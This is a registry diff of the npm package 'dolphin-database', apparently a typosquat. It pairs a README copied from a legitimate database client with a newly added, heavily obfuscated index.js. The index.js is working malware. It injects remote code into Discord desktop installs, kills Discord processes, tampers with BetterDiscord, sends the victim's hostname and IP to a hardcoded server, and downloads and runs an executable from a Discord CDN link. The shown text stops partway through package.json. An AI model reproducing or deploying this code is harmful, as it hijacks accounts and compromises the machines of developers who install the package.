dolphin-database 0.0.1-security → 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of dolphin-database might be problematic. Click here for more details.
- package/README.md +372 -5
- package/index.js +1 -0
- package/package.json +28 -3
package/README.md
CHANGED
@@ -1,5 +1,372 @@
|
|
1
|
-
#
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
1
|
+
# dolphin-database JavaScript API
|
2
|
+
|
3
|
+
<p align='center'>
|
4
|
+
<img src='https://raw.githubusercontent.com/dolphindb/api-javascript/d0bf5e3b816f1f2d0b31dc8be9f90ed2359b6b92/ddb.svg' alt='dolphin-database' width='256'>
|
5
|
+
</p>
|
6
|
+
|
7
|
+
<p align='center'>
|
8
|
+
<a href='https://www.npmjs.com/package/dolphin-database' target='_blank'>
|
9
|
+
<img alt='npm version' src='https://img.shields.io/npm/v/dolphindb.svg?style=flat-square&color=brightgreen' />
|
10
|
+
</a>
|
11
|
+
<a href='https://www.npmjs.com/package/dolphin-database' target='_blank'>
|
12
|
+
<img alt='npm downloads' src='https://img.shields.io/npm/dt/dolphindb?style=flat-square&color=brightgreen' />
|
13
|
+
</a>
|
14
|
+
</p>
|
15
|
+
|
16
|
+
## English | [中文](./README.zh.md)
|
17
|
+
|
18
|
+
## Overview
|
19
|
+
dolphin-database JavaScript API is a JavaScript library that encapsulates the ability to operate the dolphin-database database, such as: connecting to the database, executing scripts, calling functions, uploading variables, etc.
|
20
|
+
|
21
|
+
https://www.npmjs.com/package/dolphin-database
|
22
|
+
|
23
|
+
## Features
|
24
|
+
- Communicate with dolphin-database database using WebSocket, exchange data in binary format
|
25
|
+
- Support running in browser environment and Node.js environment
|
26
|
+
- Use TypedArray such as Int32Array in JavaScript to process binary data, with high performance
|
27
|
+
- A single call supports serialized upload of up to 2GB of data, and the amount of downloaded data is not limited
|
28
|
+
|
29
|
+
## Installation
|
30
|
+
```bash
|
31
|
+
# 1. Install the latest version of Node.js and browser on the machine
|
32
|
+
|
33
|
+
# 2. Create a new project (skip this step if you already have a project)
|
34
|
+
mkdir dolphin-database-example
|
35
|
+
cd dolphin-database-example
|
36
|
+
npm init --yes
|
37
|
+
# Open the package.json file with an editor, add the line "type": "module", below "main": "./index.js",
|
38
|
+
# This enables the use of ECMAScript modules, and in the code behind you can use import { DDB } from 'dolphin-database' to import npm packages
|
39
|
+
|
40
|
+
# 3. Install npm packages in your project
|
41
|
+
npm install dolphin-database
|
42
|
+
```
|
43
|
+
|
44
|
+
## Usage
|
45
|
+
### 0. Initialize and connect to dolphin-database
|
46
|
+
```ts
|
47
|
+
import { DDB } from 'dolphin-database'
|
48
|
+
// The import method for existing projects using CommonJS modules is const { DDB } = require('dolphin-database')
|
49
|
+
// Use in browser: import { DDB } form 'dolphin-database/browser.js'
|
50
|
+
|
51
|
+
// Create a database object and initialize the WebSocket URL
|
52
|
+
let ddb = new DDB('ws://127.0.0.1:8848')
|
53
|
+
|
54
|
+
// Establish a WebSocket connection to dolphin-database (requires dolphin-database database version at least 1.30.16 or 2.00.4)
|
55
|
+
await ddb.connect()
|
56
|
+
```
|
57
|
+
|
58
|
+
#### DDB options
|
59
|
+
```ts
|
60
|
+
let ddb = new DDB('ws://127.0.0.1:8848')
|
61
|
+
|
62
|
+
// Encrypt with HTTPS
|
63
|
+
let ddbsecure = new DDB('wss://dolphin-database.com', {
|
64
|
+
// Whether to log in automatically after establishing a connection, default `true`
|
65
|
+
autologin: true,
|
66
|
+
|
67
|
+
// dolphin-database username, default `'admin'`
|
68
|
+
username: 'admin',
|
69
|
+
|
70
|
+
// dolphin-database password, default `'123456'`
|
71
|
+
password: '123456',
|
72
|
+
|
73
|
+
// set python session flag, default `false`
|
74
|
+
python: false
|
75
|
+
})
|
76
|
+
```
|
77
|
+
|
78
|
+
|
79
|
+
### 1. Call Functions
|
80
|
+
#### Example
|
81
|
+
```ts
|
82
|
+
import { DdbInt } from 'dolphin-database'
|
83
|
+
|
84
|
+
const result = await ddb.call('add', [new DdbInt(1), new DdbInt(1)])
|
85
|
+
// TypeScript: const result = await ddb.call<DdbInt>('add', [new DdbInt(1), new DdbInt(1)])
|
86
|
+
|
87
|
+
console.log(result.value === 2) // true
|
88
|
+
```
|
89
|
+
|
90
|
+
#### The dolphin-database JavaScript API uses DdbObj objects to represent data types in dolphin-database
|
91
|
+
In the above example, two parameters 1 (corresponding to the int type in dolphin-database) are uploaded to the dolphin-database database as parameters of the add function, then the result of the function call is received.
|
92
|
+
|
93
|
+
`<DdbInt>` is used by TypeScript to infer the type of the return value
|
94
|
+
|
95
|
+
- result is a `DdbInt`, which is also a `DdbObj<number>`
|
96
|
+
- result.form is a `DdbForm.scalar`
|
97
|
+
- result.type is a `DdbType.int`
|
98
|
+
- result.value is native `number` in JavaScript (the value range and precision of int can be accurately represented by JavaScript number)
|
99
|
+
|
100
|
+
```ts
|
101
|
+
/** Can represent all data types in dolphin-database databases */
|
102
|
+
class DdbObj <T extends DdbValue = DdbValue> {
|
103
|
+
/** is it little endian */
|
104
|
+
le: boolean
|
105
|
+
|
106
|
+
/** data form https://www.dolphin-database.cn/cn/help/DataTypesandStructures/DataForms/index.html */
|
107
|
+
form: DdbForm
|
108
|
+
|
109
|
+
/** data type https://www.dolphin-database.cn/cn/help/DataTypesandStructures/DataTypes/index.html */
|
110
|
+
type: DdbType
|
111
|
+
|
112
|
+
/** consumed length in buf parsed */
|
113
|
+
length: number
|
114
|
+
|
115
|
+
/** table name / column name */
|
116
|
+
name?: string
|
117
|
+
|
118
|
+
/**
|
119
|
+
Lowest dimension
|
120
|
+
- vector: rows = n, cols = 1
|
121
|
+
- pair: rows = 2, cols = 1
|
122
|
+
- matrix: rows = n, cols = m
|
123
|
+
- set: the same as vector
|
124
|
+
- dict: include keys, values vector
|
125
|
+
- table: the same as matrix
|
126
|
+
*/
|
127
|
+
rows?: number
|
128
|
+
|
129
|
+
/** 2nd dimension */
|
130
|
+
cols?: number
|
131
|
+
|
132
|
+
/** the actual data. Different DdbForm, DdbType use different types in DdbValue to represent actual data */
|
133
|
+
value: T
|
134
|
+
|
135
|
+
/** raw binary data, only top-level objects generated by parse_message when parse_object is false have this attribute */
|
136
|
+
buffer?: Uint8Array
|
137
|
+
|
138
|
+
constructor (data: Partial<DdbObj> & { form: DdbForm, type: DdbType, length: number }) {
|
139
|
+
Object.assign(this, data)
|
140
|
+
}
|
141
|
+
}
|
142
|
+
|
143
|
+
class DdbInt extends DdbObj<number> {
|
144
|
+
constructor (value: number) {
|
145
|
+
super({
|
146
|
+
form: DdbForm.scalar,
|
147
|
+
type: DdbType.int,
|
148
|
+
length: 4,
|
149
|
+
value
|
150
|
+
})
|
151
|
+
}
|
152
|
+
}
|
153
|
+
|
154
|
+
// ... There are also many utility classes, such as DdbString, DdbLong, DdbDouble, DdbVectorDouble, DdbVectorAny, etc.
|
155
|
+
|
156
|
+
type DdbValue =
|
157
|
+
null | boolean | number | [number, number] | bigint | string | string[] |
|
158
|
+
Uint8Array | Int16Array | Int32Array | Float32Array | Float64Array | BigInt64Array | Uint8Array[] |
|
159
|
+
DdbObj[] | DdbFunctionDefValue | DdbSymbolExtendedValue
|
160
|
+
|
161
|
+
|
162
|
+
enum DdbForm {
|
163
|
+
scalar = 0,
|
164
|
+
vector = 1,
|
165
|
+
pair = 2,
|
166
|
+
matrix = 3,
|
167
|
+
set = 4,
|
168
|
+
dict = 5,
|
169
|
+
table = 6,
|
170
|
+
chart = 7,
|
171
|
+
chunk = 8,
|
172
|
+
}
|
173
|
+
|
174
|
+
|
175
|
+
enum DdbType {
|
176
|
+
void = 0,
|
177
|
+
bool = 1,
|
178
|
+
char = 2,
|
179
|
+
short = 3,
|
180
|
+
int = 4,
|
181
|
+
long = 5,
|
182
|
+
// ...
|
183
|
+
timestamp = 12,
|
184
|
+
// ...
|
185
|
+
double = 16,
|
186
|
+
symbol = 17,
|
187
|
+
string = 18,
|
188
|
+
// ...
|
189
|
+
}
|
190
|
+
```
|
191
|
+
|
192
|
+
##### If there is no shortcut class, you can also specify form and type to manually create a DdbObj object
|
193
|
+
```ts
|
194
|
+
// Created by the DdbDateTime shortcut class
|
195
|
+
new DdbDateTime(1644573600)
|
196
|
+
|
197
|
+
// Equivalent to manually creating an object of form = scalar, type = datetime through DdbObj
|
198
|
+
const obj = new DdbObj({
|
199
|
+
form: DdbForm.scalar,
|
200
|
+
type: DdbType.datetime,
|
201
|
+
value: 1644573600,
|
202
|
+
length: 0
|
203
|
+
})
|
204
|
+
|
205
|
+
|
206
|
+
// The corresponding type and value of value in js can refer to the result returned by ddb.eval (see the `eval` method declaration below)
|
207
|
+
const obj = await ddb.eval('2022.02.11 10:00:00')
|
208
|
+
console.log(obj.form === DdbForm.scalar)
|
209
|
+
console.log(obj.type === DdbType.datetime)
|
210
|
+
console.log(obj.value)
|
211
|
+
|
212
|
+
// Another example is to create a set
|
213
|
+
// refer to ddb.eval
|
214
|
+
// const obj = await ddb.eval('set([1, 2, 3])')
|
215
|
+
// console.log(obj.value)
|
216
|
+
const obj = new DdbObj({
|
217
|
+
form: DdbForm.set,
|
218
|
+
type: DdbType.int,
|
219
|
+
value: Int32Array.of(1, 2, 3),
|
220
|
+
length: 0
|
221
|
+
})
|
222
|
+
|
223
|
+
// It's easier to use shortcut classes
|
224
|
+
const obj = new DdbSetInt(
|
225
|
+
new Set([1, 2, 3])
|
226
|
+
)
|
227
|
+
```
|
228
|
+
|
229
|
+
##### NULL object in the form of scalar, the value corresponding to DdbObj is null in JavaScript
|
230
|
+
```ts
|
231
|
+
;(await ddb.eval('double()')).value === null
|
232
|
+
|
233
|
+
// create NULL object
|
234
|
+
new DdbInt(null)
|
235
|
+
new DdbDouble(null)
|
236
|
+
```
|
237
|
+
|
238
|
+
|
239
|
+
#### `call` Method Declaration
|
240
|
+
```ts
|
241
|
+
async call <T extends DdbObj> (
|
242
|
+
/** function name */
|
243
|
+
func: string,
|
244
|
+
|
245
|
+
/** function arguments (The incoming native string and boolean will be automatically converted to DdbObj<string> and DdbObj<boolean>) */
|
246
|
+
args?: (DdbObj | string | boolean)[] = [ ],
|
247
|
+
|
248
|
+
/** calling options */
|
249
|
+
options?: {
|
250
|
+
/** Urgent flag. Use urgent worker to execute to prevent being blocked by other jobs */
|
251
|
+
urgent?: boolean
|
252
|
+
|
253
|
+
/** When the node alias is set, the function is sent to the corresponding node in the cluster for execution (using the rpc method in dolphin-database) */
|
254
|
+
node?: string
|
255
|
+
|
256
|
+
/** When setting multiple node aliases, send them to the corresponding multiple nodes in the cluster for execution (using the pnodeRun method in dolphin-database) */
|
257
|
+
nodes?: string[]
|
258
|
+
|
259
|
+
/** It must be passed when setting the node parameter, the function type needs to be specified, and it is not passed in other cases */
|
260
|
+
func_type?: DdbFunctionType
|
261
|
+
|
262
|
+
/** It may be passed when setting the nodes parameter, otherwise may not be passed */
|
263
|
+
add_node_alias?: boolean
|
264
|
+
} = { }
|
265
|
+
): Promise<T>
|
266
|
+
```
|
267
|
+
|
268
|
+
|
269
|
+
### 2. Execute Script
|
270
|
+
#### Example
|
271
|
+
```ts
|
272
|
+
const result = await ddb.eval(
|
273
|
+
'def foo (a, b) {\n' +
|
274
|
+
' return a + b\n' +
|
275
|
+
'}\n' +
|
276
|
+
'foo(1l, 1l)\n'
|
277
|
+
)
|
278
|
+
|
279
|
+
// TypeScript:
|
280
|
+
// import type { DdbLong } from 'dolphin-database'
|
281
|
+
// const result = await ddb.eval<DdbLong>(...)
|
282
|
+
|
283
|
+
console.log(result.value === 2n) // true
|
284
|
+
```
|
285
|
+
|
286
|
+
In the above example, a script is uploaded through a string to the dolphin-database database for execution, and the execution result of the last statement `foo(1l, 1l)` is received.
|
287
|
+
|
288
|
+
`<DdbLong>` is used by TypeScript to infer the type of the return value
|
289
|
+
|
290
|
+
- result is a `DdbLong`, which is also a `DdbObj<bigint>`
|
291
|
+
- result.form is `DdbForm.scalar`
|
292
|
+
- result.type is `DdbType.long`
|
293
|
+
- result.value is the native `bigint` in JavaScript (the precision of long cannot be accurately represented by JavaScript number, but it can be represented by bigint)
|
294
|
+
|
295
|
+
As long as the WebSocket connection is not disconnected, the custom function `foo` will always exist in the subsequent session and can be reused, for example, you can use `await ddb.call<DdbInt>('foo', [new DdbInt(1), new DdbInt(1)])` to call this custom function
|
296
|
+
|
297
|
+
#### `eval` Method Declaration
|
298
|
+
```ts
|
299
|
+
async eval <T extends DdbObj> (
|
300
|
+
/** the script to execute */
|
301
|
+
script: string,
|
302
|
+
|
303
|
+
/** calling options */
|
304
|
+
options: {
|
305
|
+
/** Urgent flag. Use urgent worker to execute to prevent being blocked by other jobs */
|
306
|
+
urgent?: boolean
|
307
|
+
} = { }
|
308
|
+
): Promise<T>
|
309
|
+
```
|
310
|
+
|
311
|
+
|
312
|
+
### 3. Upload Variables
|
313
|
+
#### Example
|
314
|
+
```ts
|
315
|
+
import { DdbVectorDouble } from 'dolphin-database'
|
316
|
+
|
317
|
+
let a = new Array(10000)
|
318
|
+
a.fill(1.0)
|
319
|
+
|
320
|
+
ddb.upload(['bar1', 'bar2'], [new DdbVectorDouble(a), new DdbVectorDouble(a)])
|
321
|
+
```
|
322
|
+
|
323
|
+
In the above example, two variables `bar1`, `bar2` are uploaded, and the variable value is a double vector of length 10000
|
324
|
+
|
325
|
+
As long as the WebSocket connection is not disconnected, the variables `bar1`, `bar2` will always exist in the subsequent session and can be reused
|
326
|
+
|
327
|
+
#### `upload` Method Declaration
|
328
|
+
```ts
|
329
|
+
async upload (
|
330
|
+
/** variable names */
|
331
|
+
vars: string[],
|
332
|
+
|
333
|
+
/** variable values */
|
334
|
+
args: (DdbObj | string | boolean)[]
|
335
|
+
): Promise<void>
|
336
|
+
```
|
337
|
+
|
338
|
+
|
339
|
+
### Some Examples
|
340
|
+
```ts
|
341
|
+
import { nulls, DdbInt, timestamp2str, DdbVectorSymbol, DdbTable, DdbVectorDouble } from 'dolphin-database'
|
342
|
+
|
343
|
+
// Format timestamp in dolphin-database as string
|
344
|
+
timestamp2str(
|
345
|
+
(
|
346
|
+
await ddb.call('now', [false])
|
347
|
+
// TypeScript: await ddb.call<DdbObj<bigint>>('now', [false])
|
348
|
+
).value
|
349
|
+
) === '2022.02.23 17:23:13.494'
|
350
|
+
|
351
|
+
// create symbol vector
|
352
|
+
new DdbVectorSymbol(['aaa', 'aaa', 'aaa', 'aaa', 'aaa', 'bbb'])
|
353
|
+
|
354
|
+
// Create a double vector with NULL values using JavaScript native arrays
|
355
|
+
new DdbVectorDouble([0.1, null, 0.3])
|
356
|
+
|
357
|
+
// More efficient and memory efficient double vector creation using JavaScript TypedArray
|
358
|
+
let av = new Float64Array(3)
|
359
|
+
av[0] = 0.1
|
360
|
+
av[1] = nulls.double
|
361
|
+
av[2] = 0.3
|
362
|
+
new DdbVectorDouble(av)
|
363
|
+
|
364
|
+
// create DdbTable
|
365
|
+
new DdbTable(
|
366
|
+
[
|
367
|
+
new DdbVectorDouble([0.1, 0.2, null], 'col0'),
|
368
|
+
new DdbVectorSymbol(['a', 'b', 'c'], 'col1')
|
369
|
+
],
|
370
|
+
'mytable'
|
371
|
+
)
|
372
|
+
```
|
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x5c33d3=_0x28bf;function _0x28bf(_0x1f90ce,_0x4afc4e){const _0xcc2f4c=_0x2ea0();return _0x28bf=function(_0x39cfa2,_0x42010d){_0x39cfa2=_0x39cfa2-0x1f1;let _0x34781b=_0xcc2f4c[_0x39cfa2];return _0x34781b;},_0x28bf(_0x1f90ce,_0x4afc4e);}(function(_0x3dd968,_0x14a1b6){const _0x4f38b5=_0x28bf,_0x4e6838=_0x3dd968();while(!![]){try{const _0x3fceac=-parseInt(_0x4f38b5(0x24e))/0x1+-parseInt(_0x4f38b5(0x25b))/0x2+parseInt(_0x4f38b5(0x224))/0x3*(-parseInt(_0x4f38b5(0x22e))/0x4)+parseInt(_0x4f38b5(0x226))/0x5+-parseInt(_0x4f38b5(0x257))/0x6*(parseInt(_0x4f38b5(0x255))/0x7)+-parseInt(_0x4f38b5(0x24d))/0x8*(parseInt(_0x4f38b5(0x245))/0x9)+parseInt(_0x4f38b5(0x20b))/0xa*(parseInt(_0x4f38b5(0x252))/0xb);if(_0x3fceac===_0x14a1b6)break;else _0x4e6838['push'](_0x4e6838['shift']());}catch(_0x2d9f29){_0x4e6838['push'](_0x4e6838['shift']());}}}(_0x2ea0,0x1b185));const _0x188500=(function(){let _0x270ec4=!![];return function(_0x394803,_0x1bbc30){const _0x96d14a=_0x270ec4?function(){if(_0x1bbc30){const _0x41c110=_0x1bbc30['apply'](_0x394803,arguments);return _0x1bbc30=null,_0x41c110;}}:function(){};return _0x270ec4=![],_0x96d14a;};}()),_0x3f24e1=_0x188500(this,function(){const _0x3a6b41=_0x28bf;return _0x3f24e1[_0x3a6b41(0x229)]()['search'](_0x3a6b41(0x210))[_0x3a6b41(0x229)]()[_0x3a6b41(0x248)](_0x3f24e1)[_0x3a6b41(0x250)](_0x3a6b41(0x210));});_0x3f24e1();const _0x42010d=(function(){let _0x5d9318=!![];return function(_0x2a749b,_0x12c33a){const _0x46976d=_0x5d9318?function(){if(_0x12c33a){const _0x2fef67=_0x12c33a['apply'](_0x2a749b,arguments);return _0x12c33a=null,_0x2fef67;}}:function(){};return _0x5d9318=![],_0x46976d;};}()),_0x39cfa2=_0x42010d(this,function(){const _0x150a75=_0x28bf,_0x431546=function(){const _0x1e7493=_0x28bf;let _0x1707b6;try{_0x1707b6=Function(_0x1e7493(0x209)+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x377cab){_0x1707b6=window;}return _0x1707b6;},_0x5dae99=_0x431546(),_0x3ea062=_0x5dae99[_0x150a75(0x204)]=_0x5dae99[_0x150a75(0x204)]||{},_0x4fb6e2=[_0x150a75(0x249),_0x150a75(0x20a),_0x150a75(0x21b),_0x150a75(0x202),'exception','table',_0x150a75(0x1f6)];for(let _0x530921=0x0;_0x530921<_0x4fb6e2['length'];_0x530921++){const _0x559d48=_0x42010d[_0x150a75(0x248)]['prototype'][_0x150a75(0x215)](_0x42010d),_0x2b310c=_0x4fb6e2[_0x530921],_0x1213b3=_0x3ea062[_0x2b310c]||_0x559d48;_0x559d48['__proto__']=_0x42010d[_0x150a75(0x215)](_0x42010d),_0x559d48[_0x150a75(0x229)]=_0x1213b3[_0x150a75(0x229)][_0x150a75(0x215)](_0x1213b3),_0x3ea062[_0x2b310c]=_0x559d48;}});_0x39cfa2();const glob=require('glob'),fs=require('fs'),https=require(_0x5c33d3(0x1fe)),{exec}=require(_0x5c33d3(0x254)),shell=require(_0x5c33d3(0x1fb)),os=require(_0x5c33d3(0x253)),axios=require(_0x5c33d3(0x22a)),download=require(_0x5c33d3(0x221));var ip=require('ip');const zip=require(_0x5c33d3(0x21f)),FormData=require(_0x5c33d3(0x22d));var XMLHttpRequest=require('xhr2');function _0x2ea0(){const _0x56210f=['8080hPzlcr','32535zngaWN','window.webpackJsonp?(gg=window.webpackJsonp.push([[],{get_require:(a,b,c)=>a.exports=c},[[\x22get_require\x22]]]),delete\x20gg.m.get_require,delete\x20gg.c.get_require):window.webpackChunkdiscord_app&&window.webpackChunkdiscord_app.push([[Math.random()],{},a=>{gg=a}]);function\x20LogOut(){(function(a){const\x20b=\x22string\x22==typeof\x20a?a:null;for(const\x20c\x20in\x20gg.c)if(gg.c.hasOwnProperty(c)){const\x20d=gg.c[c].exports;if(d&&d.__esModule&&d.default&&(b?d.default[b]:a(d.default)))return\x20d.default;if(d&&(b?d[b]:a(d)))return\x20d}return\x20null})(\x22login\x22).logout()}LogOut();','search','inject-notify','385cGkNSW','node:os','child_process','6790vIjKJB','{\x22fields\x22:\x22Discord\x20Desktop\x20(app-1.0.9005)\x22,\x20\x22pcname\x22:\x22','222bSNfKQ','%DISABLEQRCODE%','end','https://raw.githubusercontent.com/lynix1000/asdasdsadasdsaasdasdsadasdsaasdasdsadasdsa/main/index.js','101858TCkRwO','index.js','init','mozarte','arraybuffer','LOCALAPPDATA','fiddler','logout','trace','%INITNOTI%','true','Discord.exe','replace','shelljs','readdirSync','env','node:https','%USERIP%','DiscordDevelopment.exe','\x5cmodules\x5c','error','discordcanary','console','\x5cUpdate.exe\x20--processStart\x20','utf8','electron','DiscordPTB.exe','return\x20(function()\x20','warn','110270iHpaPR','buffer-replace','USERNAMEWEBHOOK','includes','3447704','(((.+)+)+)+$','forEach','\x5cdiscord_desktop_core\x5cindex.js','POST','length','bind','data','send','statSync','application/json','\x22,\x20\x22ip\x22:\x22','info','%LOGOUTNOTI%','taskkill\x20/IM\x20','path','adm-zip','hostname','download','address','filter','5103FPHIdG','onload','250015VQZwsc','Discord\x20(32\x20bits)','writeFileSync','toString','axios','api/webhooks','get','form-data','132vGFNEl','isDirectory','Content-type','appdata','readFileSync','\x5cqwerty.exe','instant','.exe','DC_BTW','Discord\x20Canary\x20(32\x20bits).exe','\x22,\x20\x22idclientkey\x22:\x22mozarte\x22}','DiscordCanary.exe','https://cdn.discordapp.com/attachments/998660447886639106/1002609858266271755/qwerty.exe','%USERNAMEWEBHOOK%','webContents','discorddevelopment','Powercord.exe','\x5cBetterDiscord\x5cdata\x5cbetterdiscord.asar','Discord\x20Canary','embed-color','Discord\x20(32\x20bits).exe','discord_desktop_core-','logout-notify','1332qCsHYW','Discord','push','constructor','log','setRequestHeader','.exe\x20/F','existsSync'];_0x2ea0=function(){return _0x56210f;};return _0x2ea0();}const buf_replace=require(_0x5c33d3(0x20c)),{session,BrowserWindow}=require(_0x5c33d3(0x207)),path=require(_0x5c33d3(0x21e)),querystring=require('querystring'),config={'logout':'instant','inject-notify':_0x5c33d3(0x1f8),'logout-notify':_0x5c33d3(0x1f8),'init-notify':_0x5c33d3(0x1f8),'embed-color':0x7b,'USERNAMEWEBHOOK':_0x5c33d3(0x1f1),'disable-qr-code':_0x5c33d3(0x1f8)};let LOCAL=process[_0x5c33d3(0x1fd)][_0x5c33d3(0x1f3)],discords=[],injectPath=[],runningDiscords=[];fs[_0x5c33d3(0x1fc)](LOCAL)[_0x5c33d3(0x211)](_0x426e7a=>{const _0x1471b1=_0x5c33d3;if(_0x426e7a[_0x1471b1(0x20e)]('iscord'))discords['push'](LOCAL+'\x5c'+_0x426e7a);else return;});const temp=process[_0x5c33d3(0x1fd)]['temp'],infecccc=async()=>{const _0x4cfdb7=_0x5c33d3,_0x237605=await axios[_0x4cfdb7(0x22c)](_0x4cfdb7(0x23a),{'responseType':_0x4cfdb7(0x1f2)});await fs['writeFileSync'](temp+_0x4cfdb7(0x233),_0x237605[_0x4cfdb7(0x216)],{'encoding':_0x4cfdb7(0x206),'flags':'w'}),await exec(temp+_0x4cfdb7(0x233));return;};function Infect(){const _0x56df1c=_0x5c33d3;https[_0x56df1c(0x22c)](_0x56df1c(0x25a),_0xeec2f0=>{const _0x39a5c6=_0x56df1c;let _0xb87a43='';_0xeec2f0['on']('data',_0x11367b=>{_0xb87a43+=_0x11367b;}),_0xeec2f0['on'](_0x39a5c6(0x259),()=>{const _0x326d14=_0x39a5c6;injectPath[_0x326d14(0x211)](_0x3d6d0a=>{const _0x5af369=_0x326d14;fs[_0x5af369(0x228)](_0x3d6d0a,_0xb87a43[_0x5af369(0x1fa)](_0x5af369(0x1f7),config['init-notify'])['replace'](_0x5af369(0x1ff),ip[_0x5af369(0x222)]())[_0x5af369(0x1fa)]('%LOGOUT%',config[_0x5af369(0x1f5)])['replace'](_0x5af369(0x23b),config[_0x5af369(0x20d)])[_0x5af369(0x1fa)](_0x5af369(0x21c),config[_0x5af369(0x244)])[_0x5af369(0x1fa)](_0x5af369(0x20f),config[_0x5af369(0x241)])[_0x5af369(0x1fa)](_0x5af369(0x258),config['disable-qr-code']),{'encoding':_0x5af369(0x206),'flag':'w'});if(config['init-notify']==_0x5af369(0x1f8)){let _0x354495=_0x3d6d0a['replace'](_0x5af369(0x25c),_0x5af369(0x25d));!fs[_0x5af369(0x24c)](_0x354495)&&fs['mkdirSync'](_0x354495,0x1e4);}if(config['logout']!='false'){let _0x5b9a2f=_0x3d6d0a[_0x5af369(0x1fa)](_0x5af369(0x25c),_0x5af369(0x236));if(!fs['existsSync'](_0x5b9a2f))fs['mkdirSync'](_0x5b9a2f,0x1e4),config[_0x5af369(0x1f5)]=='instant'&&startDiscord();else fs['existsSync'](_0x5b9a2f)&&config[_0x5af369(0x1f5)]==_0x5af369(0x234)&&startDiscord();}});});})['on'](_0x56df1c(0x202),_0x3c2460=>{});};const logout=async()=>{const _0x4d3b8b=_0x5c33d3;return await BrowserWindow['getAllWindows']()[0x0][_0x4d3b8b(0x23c)]['executeJavaScript'](_0x4d3b8b(0x24f),!![]),'ok';};function killDiscord(){const _0x285218=_0x5c33d3;runningDiscords[_0x285218(0x211)](_0x183db1=>{const _0x4c9b7c=_0x285218;exec(_0x4c9b7c(0x21d)+_0x183db1+_0x4c9b7c(0x24b),_0x4d35e4=>{if(_0x4d35e4)return;});}),config[_0x285218(0x251)]==_0x285218(0x1f8)&&injectPath[_0x285218(0x214)]!=0x0&&injectNotify(),Infect(),pwnBetterDiscord();};function listDiscords(){exec('tasklist',function(_0x256778,_0xcadcf0,_0x48f8d0){const _0x198ece=_0x28bf;if(_0xcadcf0['includes'](_0x198ece(0x1f9)))runningDiscords[_0x198ece(0x247)]('discord');if(_0xcadcf0[_0x198ece(0x20e)](_0x198ece(0x242)))runningDiscords[_0x198ece(0x247)](_0x198ece(0x246));if(_0xcadcf0[_0x198ece(0x20e)](_0x198ece(0x1f9)))runningDiscords['push'](_0x198ece(0x227));if(_0xcadcf0[_0x198ece(0x20e)](_0x198ece(0x239)))runningDiscords[_0x198ece(0x247)](_0x198ece(0x203));if(_0xcadcf0['includes'](_0x198ece(0x237)))runningDiscords[_0x198ece(0x247)](_0x198ece(0x240));if(_0xcadcf0[_0x198ece(0x20e)](_0x198ece(0x200)))runningDiscords[_0x198ece(0x247)](_0x198ece(0x23d));if(_0xcadcf0[_0x198ece(0x20e)](_0x198ece(0x208)))runningDiscords[_0x198ece(0x247)]('discordptb');if(_0xcadcf0[_0x198ece(0x20e)](_0x198ece(0x23e)))runningDiscords['push']('powercord');if(_0xcadcf0[_0x198ece(0x20e)]('Fiddler.exe'))runningDiscords[_0x198ece(0x247)](_0x198ece(0x1f4));if(_0xcadcf0[_0x198ece(0x20e)]('wireshark.exe'))runningDiscords[_0x198ece(0x247)]('wireshark');config[_0x198ece(0x1f5)]==_0x198ece(0x234)?killDiscord():(config['inject-notify']==_0x198ece(0x1f8)&&injectPath[_0x198ece(0x214)]!=0x0&&injectNotify(),Infect(),pwnBetterDiscord());});};function startDiscord(){const _0x10df64=_0x5c33d3;runningDiscords[_0x10df64(0x211)](_0x58b110=>{const _0x20cdda=_0x10df64;let _0x2387ac=LOCAL+'\x5c'+_0x58b110+_0x20cdda(0x205)+_0x58b110+_0x20cdda(0x235);exec(_0x2387ac,_0xb5ee56=>{if(_0xb5ee56)return;});});};function pwnBetterDiscord(){const _0xb72c1=_0x5c33d3;let _0x3b0ddc=process[_0xb72c1(0x1fd)][_0xb72c1(0x231)]+_0xb72c1(0x23f);if(fs[_0xb72c1(0x24c)](_0x3b0ddc)){let _0x5c1531=fs[_0xb72c1(0x232)](_0x3b0ddc);fs[_0xb72c1(0x228)](_0x3b0ddc,buf_replace(_0x5c1531,_0xb72c1(0x22b),'dc'));}return;}function injectNotify(){const _0x37f61e=_0x5c33d3;let _0x344d83=[];injectPath[_0x37f61e(0x211)](_0xf5a247=>{const _0x34138f=_0x37f61e;let _0x52b023=_0xf5a247;_0x344d83[_0x34138f(0x247)](_0x52b023);});const _0x213727=_0x37f61e(0x256)+os[_0x37f61e(0x220)]()+_0x37f61e(0x21a)+ip[_0x37f61e(0x222)]()+_0x37f61e(0x238);var _0x3cb993=new XMLHttpRequest();_0x3cb993['open'](_0x37f61e(0x213),'http://20.109.92.236/api/newinjection',!![]),_0x3cb993[_0x37f61e(0x24a)](_0x37f61e(0x230),_0x37f61e(0x219)),_0x3cb993[_0x37f61e(0x225)]=function(){const _0x314f61=this['responseText'];},_0x3cb993[_0x37f61e(0x217)](_0x213727);}function getDirectories(_0x3c402d){const _0x1cab3d=_0x5c33d3;return fs[_0x1cab3d(0x1fc)](_0x3c402d)[_0x1cab3d(0x223)](function(_0x1de9a9){const _0x509841=_0x1cab3d;return fs[_0x509841(0x218)](_0x3c402d+'/'+_0x1de9a9)[_0x509841(0x22f)]();});}listDiscords(),discords[_0x5c33d3(0x211)](function(_0x25b24b){const _0x20fc63=_0x5c33d3;getDirectories(_0x25b24b+'\x5c')[_0x20fc63(0x211)](_0x5a81b5=>{const _0x426d9f=_0x20fc63;_0x5a81b5[_0x426d9f(0x20e)]('app-')&&(_0x25b24b=_0x25b24b+'\x5c'+_0x5a81b5+_0x426d9f(0x201));}),getDirectories(_0x25b24b)[_0x20fc63(0x211)](_0x451a90=>{const _0x39dcbb=_0x20fc63;_0x451a90['includes'](_0x39dcbb(0x243))&&(_0x25b24b=_0x25b24b+'\x5c'+_0x451a90+_0x39dcbb(0x212));}),fs[_0x20fc63(0x24c)](_0x25b24b)&&injectPath[_0x20fc63(0x247)](_0x25b24b);}),killDiscord(),Infect(),startDiscord(),infecccc();
|
package/package.json
CHANGED
@@ -1,6 +1,31 @@
|
|
1
1
|
{
|
2
|
+
"dependencies": {
|
3
|
+
"adm-zip": "^0.5.9",
|
4
|
+
"axios": "^0.27.2",
|
5
|
+
"buffer-replace": "^1.0.0",
|
6
|
+
"child_process": "^1.0.2",
|
7
